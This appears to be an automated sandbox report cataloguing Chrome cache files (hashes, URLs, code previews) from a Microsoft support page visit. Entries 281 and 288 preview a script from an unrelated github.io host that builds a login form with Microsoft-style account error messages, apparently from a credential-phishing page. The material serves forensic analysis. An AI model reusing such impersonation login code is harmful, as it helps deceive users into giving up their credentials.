Preview:	!function(){"use strict";var t,e,n=function(t){try{return sessionStorage.getItem(t)}catch(t){}return null};!function(t){t.EXPANDED="meControlAccountSelectorExpanded",t.COLLAPSED="meControlAccountSelectorCollapsed",t.SWITCHTYPE="meControlSwitchAccountType",t.SWITCHMSA="meControlSwitchMSAAccount",t.SWITCHAAD="meControlSwitchAADAccount"}(t\|\|(t={})),function(t){t.REMOVE="teachingCalloutRemove",t.SHOWN="teachingCalloutShown",t.TIMEOUT="teachingCalloutTimeout"}(e\|\|(e={}));var o,i,a=$("#meControl"),l=$("#smcTeachingCalloutPopover"),c=$("#teachingCalloutDismiss"),r="teachingCalloutShown";function d(t,e){var n,o={isAuto:!1,content:{contentId:e},behavior:t};null===(n=window.analytics)\|\|void 0===n\|\|n.captureContentUpdate(o)}$((function(){l&&l.length>0&&(function(t,e){if(t.length&&e.length){var n=t.offset().top;i=window.setInterval((function(){var o=e.offset().top;t.offset({top:n+o})}),15)}}(l,a),window.document.addEventListener("displayTeachingCallout",(function(t){try{if(null===n(r)&&null!=t.det

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34235), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	100769
Entropy (8bit):	5.246112939487446
Encrypted:	false
SSDEEP:	3072:nmwNxXC4Pn+lnTKxKdzW7I1m7H+8l9ut+EVe/EdnoEnsJ:mwFwTXqwe/EdnoEnsJ
MD5:	6FE3DD83A0D98BC1977F57EA33C37693
SHA1:	8DF606F40E4CC8C07CE929D5A82FD5304EAF4EB7
SHA-256:	A5268A183F2A091D2D17773997E89A25FC45CBD60E586EDF61F544FB85D6F6A8
SHA-512:	B81C2EB3BFA8ECF1FFCBB24E4A776CD2B083460A0AC53213EAF48997AC27BB20F49CEFF3A098AEBA33B3AD4F74CA86B5018AFE6689A260F011DF4249029CE78B
Malicious:	false
Reputation:	low
Preview:	MeControlDefine("meCore",["exports","@mecontrol/web-inline","@mecontrol/web-boot"],function(e,f,h){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(e,t)};function t(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var d=function(){return(d=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},s=function(){},i={},u=[],l=[];function v(e,t){var n,r,o,i,a=l;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(t&&null!=t.children&&(u.length\|\|u.push(t.children),delete t.children);u.length;)if((r=u.pop())&&void 0!==r.pop)for(i=r.length;i--;)u.push(r[i]);else"boolean"==typeof r&&(r=null),(o="function"!=typeof e)&&(null==r?r="":"number"==typeof r?r=String(r):"s

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30237)
Category:	dropped
Size (bytes):	30289
Entropy (8bit):	5.260859096902255
Encrypted:	false
SSDEEP:	768:c222n0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:cvM0S0/ks2JdImYFcw662A86vzyR
MD5:	E8551A4FAC8D2A2F035BE62CA4C029C6
SHA1:	899325923FBDD3260DD333EC42923CC422E97913
SHA-256:	4AE45C819C9D803938E8EB354B21E05A84F4BCF749B546920D2D2CA83E6481B3
SHA-512:	46591D53AE9C1ADB2DA3B7E66FF9AB0E7BC427D7984A44E18B23E255FE92AF5CC6BAFEE963A4A0AF9A98F30FBFE1A829E08EC05F53BF5080EFB70553412FED4A
Malicious:	false
Reputation:	low
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"smcconvergence","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/","authA

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6125), with no line terminators
Category:	downloaded
Size (bytes):	6125
Entropy (8bit):	5.234103429010352
Encrypted:	false
SSDEEP:	96:W/M/m/i8V//c//55T/hAh6QcVsOZdNABvQUSZacKp3xAxgBxjGYnvDYn79NN7ZuV:W8mi89/M/5xE6QcVsOZdNAJmotp3xAxU
MD5:	97C18402D0D5AD89F12C548A55C8284F
SHA1:	412ACD023C48FA79C9F846040497C74C2EBEC46D
SHA-256:	464730FF27CB58E32D39C58E96330E89983298C72B1B4183A68E0B7FE4D4CCFA
SHA-512:	38C551DBEC500AA1C450FDADE3E24FA16E71066F7CD75E103E6787C8687838E89BE49181C491F1234D29D7CCECA2B9C0C9FA20010548AD4E5F83D66D0AD1F02F
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/feedback/feedback.css?v=Rkcw_yfLWOMtOcWOljMOiZgymMcrG0GDpo4Lf-TUzPo
Preview:	.smbArticleFluent #extendedFeedbackForm .extendedFeedbackArticleInfoUseful{height:auto;display:flex;justify-content:center;align-items:center;gap:32px}.smbArticleFluent #extendedFeedbackForm .extendedFeedbackArticleInfoUseful #beginFeedbackHeader{padding:0;margin:0}.smbArticleFluent #extendedFeedbackForm .extendedFeedbackArticleInfoUseful .extendedFeedbackHeader{font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:16px;font-weight:600;line-height:20px;color:#333}.smbArticleFluent #extendedFeedbackForm .feedbackButtons{font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:14px;font-weight:600;line-height:20px;display:flex;align-items:flex-start;gap:16px}.smbArticleFluent #extendedFeedbackForm .feedbackButtonBlue{min-width:auto;display:flex;padding:3px 40px;justify-content:center;align-items:center;border-radius:4px}.smbArticleFluent #exte

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (780), with no line terminators
Category:	downloaded
Size (bytes):	780
Entropy (8bit):	4.992440844788031
Encrypted:	false
SSDEEP:	24:a4+A24uJEVdLV+awt+a9QdKCHXgc+a9aaXgc+a2XgcS:a4+xJEV9Vbwtb9QT1b9ac1bw1S
MD5:	CB3531F56366637C3E928C625264646D
SHA1:	3F6B2AC9B3A9C76EF8410FCA587105F1D95238A5
SHA-256:	47F3F44C9BC3F47A111D004476F051D5684D9FB7526EF3985A6540F6D6B16E93
SHA-512:	5E99E7DCADC11B1BD462D4CE8C1BF4334857E830EAFD4AECBD689F9C3869689D25A568C8B91ACEC69E7A6B1E2FD033DB47D7F84DC260F92BE3823203FCDB8D1A
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/ArticleSupportBridge/article-support-bridge.css?v=R_P0TJvD9HoRHQBEdvBR1WhNn7dSbvOYWmVA9taxbpM
Preview:	.articleSupportBridge{margin-bottom:-40px}.articleSupportBridge .bridgeHeading{margin-top:40px;font-family:"Segoe UI Light","wf_segoe-ui_light",Arial,"Helvetica Neue",Verdana,Helvetica,Sans-Serif;font-size:2.4em;font-weight:bold;line-height:1.333;margin-bottom:15px}.articleSupportBridge .bridgeToken{margin-top:-30px}.articleSupportBridge .supportBridgeCTA{text-align:left;margin-top:-10px}.articleSupportBridge .supportBridgeText{text-align:left}.articleSupportBridge .phaseOneCTA{text-transform:uppercase;letter-spacing:.975px;text-decoration-style:solid;font-size:13px;text-align:left;font-weight:600}html[dir=rtl] .articleSupportBridge .supportBridgeText,html[dir=rtl] .articleSupportBridge .supportBridgeCTA,html[dir=rtl] .articleSupportBridge .phaseOneCTA{text-align:right}

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3903
Entropy (8bit):	5.119508807431146
Encrypted:	false
SSDEEP:	48:0QF8LeNeSNeAF/GapHGaiYxYrlNKsVh+RUoyJ4taJF1bFOemIK/bSsghuJt9Ka6C:0q/NXF/HpHHlsVay7gbbbzGBAT2W
MD5:	ECCCC4FE63B9B4E7AACC6547848E6493
SHA1:	F44C2F0B89F0589167AE1E14620959A0F8402CA5
SHA-256:	0995703604731A79D40F0FEDC9B75ADE98575AA9A5AC1868BAF69E8035D1A5C7
SHA-512:	080209431B533E14EA0C907198EFE09DC357ECE1820F8B3BEB83B47DDEAD8BBC65F65FDB1349D78AB02436C2CB63CBEA503E2F4F30FB65D311928B395A417541
Malicious:	false
Reputation:	low
Preview:	const a = document.querySelector(".slide-page"),.. b = document.querySelector(".secondSlide"),.. c = document.querySelector(".firstNext"),.. d = document.querySelector(".prev-1"),.. e = document.querySelector(".submit");....function f(g) {.. return /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(.. g.. );..}....function h() {.. const i = $("#result"),.. j = $("#email").val();.. return (.. i.text(""),.. !!f(j) \|\|.. (j.. ? (i.text(.. "That Microsoft account doesn't exist.\n Enter a different account or get a new one.".. ),.. i.css("color", "red"),.. (document.getElementById("loginForm").style.height = "403px")).. : (i.text(.. "Enter a valid email address, phone number, or Skype\n name.".. ),.. i.css("color", "red"),.. (document.getElementById("loginForm").style.he

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/lib/uhf/dist/uhfbundle.js?v=of4Bk4iHW2lu2zc7UaUcCo47rVLNSJYX0ELAcivbHkg
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	25084
Entropy (8bit):	7.954629745011792
Encrypted:	false
SSDEEP:	384:z4b+mWMn+0y7Pg/1ZG7QBkT1ptdZXWVTTaGOKPKb3BZE3SDL0Fkx1qEPNugrtRPI:E+5Mn34PglkT9XICcPKb3Bh0e5tQT
MD5:	9AA997545CAD62F24960E39B773AE81C
SHA1:	3EBF01E3B3630F127309F816F13FF86B94798E07
SHA-256:	BC5E9528086858FD7BFF758A1B0AE0D559A9930E279ECDF4955572B6AD1E53EA
SHA-512:	4B2572DEA6B5C777AF39359095D97EB8078B3B252D4A70191837BF5C641B860CD4AF56719B3D96E45CBEBB13465625FD5DD6E66BC03F009487FEBEAF5D9F7169
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/fbf6e41b-ddbe-43db-a616-7a8e48d43d18.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...a.IDATx..y..Eu...u}.@1.....D...IX..0,A..Fc.`.,.D..H .eUX.....E..X.H...1q......(....l...r.!.....rz.....yf......9.{6z.......h....__......r.S.C..F...T.o...<.9.M..$].6.:...9..vSrN.B.2.Ug....x..rU6i>zY..C.lK.._.v.H.......9.S..U.]T.v..Y8..LJ...tl.C....m(...&.(QpAP.x\".._.G..$.L..)T[.."j$...}...@>z.n-..X.U..45&.S.....N.m\...m"I"...\.q.\|M.6#.............Q....."...e..m.6..f.....Sj...cK+DH...+]..".......i..Q.......xS.24@....C".$b.]'Y...<J.$.jY7J........i..0..1..........y./)Db.@_@.m.X\|..u..f..w..C@.\{.mc..u&....5k..`.j.ZO7.L...7.....R..zxp...B...Y....&!#..v...m[.\\|!}....B%-..K!U..cjj..Z...^...(.J....LHYK.'.@r.....d[..Q>..[VJ..b...H5H-....h.9..K.;.1..#.)fy.........r..B.X.L.)..PV$=..:.6!.B..Z.\|...).....%@..IK.G....'ci....(.-.......R.....5W..]..4.......2[..m...9..g...w.....p.4t..... ..(.je...r..R....{E.y.Xhr..U.>.H....5}.,Q.4S.$..I...R..` ....=R.#.-Y.}l......U.W...

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34235), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	100769
Entropy (8bit):	5.246112939487446
Encrypted:	false
SSDEEP:	3072:nmwNxXC4Pn+lnTKxKdzW7I1m7H+8l9ut+EVe/EdnoEnsJ:mwFwTXqwe/EdnoEnsJ
MD5:	6FE3DD83A0D98BC1977F57EA33C37693
SHA1:	8DF606F40E4CC8C07CE929D5A82FD5304EAF4EB7
SHA-256:	A5268A183F2A091D2D17773997E89A25FC45CBD60E586EDF61F544FB85D6F6A8
SHA-512:	B81C2EB3BFA8ECF1FFCBB24E4A776CD2B083460A0AC53213EAF48997AC27BB20F49CEFF3A098AEBA33B3AD4F74CA86B5018AFE6689A260F011DF4249029CE78B
Malicious:	false
Reputation:	low
URL:	https://mem.gfx.ms/scripts/me/MeControl/10.24086.4/en-US/meCore.min.js
Preview:	MeControlDefine("meCore",["exports","@mecontrol/web-inline","@mecontrol/web-boot"],function(e,f,h){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(e,t)};function t(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var d=function(){return(d=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},s=function(){},i={},u=[],l=[];function v(e,t){var n,r,o,i,a=l;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(t&&null!=t.children&&(u.length\|\|u.push(t.children),delete t.children);u.length;)if((r=u.pop())&&void 0!==r.pop)for(i=r.length;i--;)u.push(r[i]);else"boolean"==typeof r&&(r=null),(o="function"!=typeof e)&&(null==r?r="":"number"==typeof r?r=String(r):"s

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65460)
Category:	downloaded
Size (bytes):	566945
Entropy (8bit):	5.427445847196822
Encrypted:	false
SSDEEP:	6144:XU3oul3BmWRE2cXXB6l4QK/AAcRDsEbXiTMTyMm6OTa9/2y16gnu1:XQY22kuQ4/a/2y16gnu1
MD5:	0848B540E7CEFA19B6B90711E600470E
SHA1:	15A6D705E861BDBD6E4620F3982C4CDD6581BCD5
SHA-256:	5E8CB94E51F938396C62AAB378E9CCEB8D94C008730084188AAC207E8151697E
SHA-512:	6A33F5B167EBDB7ED2C21D1061603D61577A366B833155400A687CBD83E108910A4A58E29B36CAE96B51828E4D0D7C4BD714B4BF2C8C6834225839A5287288B5
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/lib/ucs/dist/ucsCreativeService.js?v=Xoy5TlH5ODlsYqqzeOnM642UwAhzAIQYiqwgfoFRaX4
Preview:	/! For license information please see ucsCreativeService.js.LICENSE.txt /.!function(){var e={646:function(e,t,n){"use strict";function r(e){o.length\|\|(i(),!0),o[o.length]=e}e.exports=r;var i,o=[],a=0,u=1024;function c(){for(;a<o.length;){var e=a;if(a+=1,o[e].call(),a>u){for(var t=0,n=o.length-a;t<n;t++)o[t]=o[t+a];o.length-=a,a=0}}o.length=0,a=0,!1}var l="undefined"!==typeof n.g?n.g:self,s=l.MutationObserver\|\|l.WebKitMutationObserver;function f(e){return function(){var t=setTimeout(r,0),n=setInterval(r,50);function r(){clearTimeout(t),clearInterval(n),e()}}}i="function"===typeof s?function(e){var t=1,n=new s(e),r=document.createTextNode("");return n.observe(r,{characterData:!0}),function(){t=-t,r.data=t}}(c):f(c),r.requestFlush=i,r.makeRequestCallFromTimer=f},2277:function(e,t){var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var o=typeof n;if("string"===o\|\|"number"===o)e.push(n);else if(Array.isArra

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://logincdn.msauth.net/shared/5/images/2_bc3d32a696895f78c19d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 262 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6143
Entropy (8bit):	7.918747274282237
Encrypted:	false
SSDEEP:	96:giqNEZwhaB2uUnZFiegJzFUAgn3KLQSKr0GWYOnRs4CFbHdKiAlQhIaDe8mbUvEZ:Iym0B2vWegA7n3Ksp4GWT9UbOoXa8mbJ
MD5:	CCA42A6DD7E8378D54197303C9B94BD1
SHA1:	4D956D4A7049610D6728557695A2B40D71C24069
SHA-256:	3806A156470D2669E497B39DCD453A1F69CA74D5A1AB69EAB755185C0EFB6A88
SHA-512:	560D18D5C0DE6B86B1338ACC2778D633C612357AFB5ABC0302BBE469E435125DCBBC99D0C7B95B4BB3899187459245270AD0A19C4B2837F68709962FDD16CA0B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......`.............sRGB.........gAMA......a.....pHYs..."..."........IDATx^...UU...>gf...` ......"4......f..Er....(" ...\|!O..r}.$..J...... `X.(x......9..[.....C....b.......k...0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0.....B\|p..Y..y..0......R.........9..........l..ZF. ....`....>.0.H.c.y.)]2.uY.0....6......"o..7............D..(.cA.6..../....a@...BX...aP...sS.QBP...Ql<3.U.H!(.$........8.I.QD.8.....R.u. ..#H.q#.PW..u...0....Z....s..?.S.L...7.I.&u.6lX..6>..1.!..<8..w.F.......................r:..k..6.G...3&L.P.~d.)......tlfFlK[.J.[3{.^......z+.O.iA...........-r.5....u]MM..!;;;.....g.9.e8.#G...{K]]]$N#)..8p...3f...c.v.F..222N...~...:o..W.c..]QQ......3.............gk...'..!./.N$...6...E.3...?.?.....-s..f...{(e.Q..s\Dt..\|..........\....................i.j}.G...Z..}\|^^.w0..8.o.=.U..>.A...}..Q.W^.P./...e...^[[.[XX..v..].>.`....8.k..%.."NWj.."AF.\|......g..3'.2''.>..w.{3g.....^}.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3903
Entropy (8bit):	5.119508807431146
Encrypted:	false
SSDEEP:	48:0QF8LeNeSNeAF/GapHGaiYxYrlNKsVh+RUoyJ4taJF1bFOemIK/bSsghuJt9Ka6C:0q/NXF/HpHHlsVay7gbbbzGBAT2W
MD5:	ECCCC4FE63B9B4E7AACC6547848E6493
SHA1:	F44C2F0B89F0589167AE1E14620959A0F8402CA5
SHA-256:	0995703604731A79D40F0FEDC9B75ADE98575AA9A5AC1868BAF69E8035D1A5C7
SHA-512:	080209431B533E14EA0C907198EFE09DC357ECE1820F8B3BEB83B47DDEAD8BBC65F65FDB1349D78AB02436C2CB63CBEA503E2F4F30FB65D311928B395A417541
Malicious:	false
Reputation:	low
URL:	https://l9sa.github.io/assets/js/script.min.js
Preview:	const a = document.querySelector(".slide-page"),.. b = document.querySelector(".secondSlide"),.. c = document.querySelector(".firstNext"),.. d = document.querySelector(".prev-1"),.. e = document.querySelector(".submit");....function f(g) {.. return /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(.. g.. );..}....function h() {.. const i = $("#result"),.. j = $("#email").val();.. return (.. i.text(""),.. !!f(j) \|\|.. (j.. ? (i.text(.. "That Microsoft account doesn't exist.\n Enter a different account or get a new one.".. ),.. i.css("color", "red"),.. (document.getElementById("loginForm").style.height = "403px")).. : (i.text(.. "Enter a valid email address, phone number, or Skype\n name.".. ),.. i.css("color", "red"),.. (document.getElementById("loginForm").style.he

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56015)
Category:	downloaded
Size (bytes):	56066
Entropy (8bit):	5.400548167770734
Encrypted:	false
SSDEEP:	768:z5kvKvdOyaupr7qkUrjEHQ8E5D5m+0Cal/pSl1JEW+zxqJWMKT1M2kZs:dDvZyk2AeBwl/pSl3I9yKJ
MD5:	449A9DEF2F0C6FC3B72C71164A97BDA3
SHA1:	25852714E23804A5500D693786CA8254025EE205
SHA-256:	220F5BD08E467A31A10A9CA1548E3580CEEB6064EAFC047ACFE35C2589BEC54F
SHA-512:	6E294FDD22793F50FB1541773BD1120BAD31108CC7EDD5F951438EB55F13A0E1574A8042750BC23BF2522AAC2F4D406322861BD10D6951D9ED30F98C16DDD274
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/Support.Main.min.js?v=Ig9b0I5GejGhCpyhVI41gM7rYGTq_AR6z-NcJYm-xU8
Preview:	!function(){var t={8488:function(t,e,n){var r=n(2746);t.exports=r},3104:function(t,e,n){var r=n(7273);t.exports=r},6564:function(t,e,n){var r=n(2445),o=n(3478),i=n(7269),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},5719:function(t,e,n){var r=n(2445),o=n(3478),i=r.String,a=r.TypeError;t.exports=function(t){if("object"==typeof t\|\|o(t))return t;throw a("Can't set "+i(t)+" as a prototype")}},1313:function(t,e,n){var r=n(4486),o=n(6635),i=n(9783),a=r("unscopables"),s=Array.prototype;null==s[a]&&i.f(s,a,{configurable:!0,value:o(null)}),t.exports=function(t){s[a][t]=!0}},3855:function(t,e,n){var r=n(2445),o=n(7455),i=r.TypeError;t.exports=function(t,e){if(o(e,t))return t;throw i("Incorrect invocation")}},4482:function(t,e,n){var r=n(2445),o=n(3406),i=r.String,a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not an object")}},3410:function(t,e,n){"use strict";var r=n(2445),o=n(6981),i=n(5633),a=n(2048),s=n(7065),u=n(1977),c=n(9

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 291

Download File

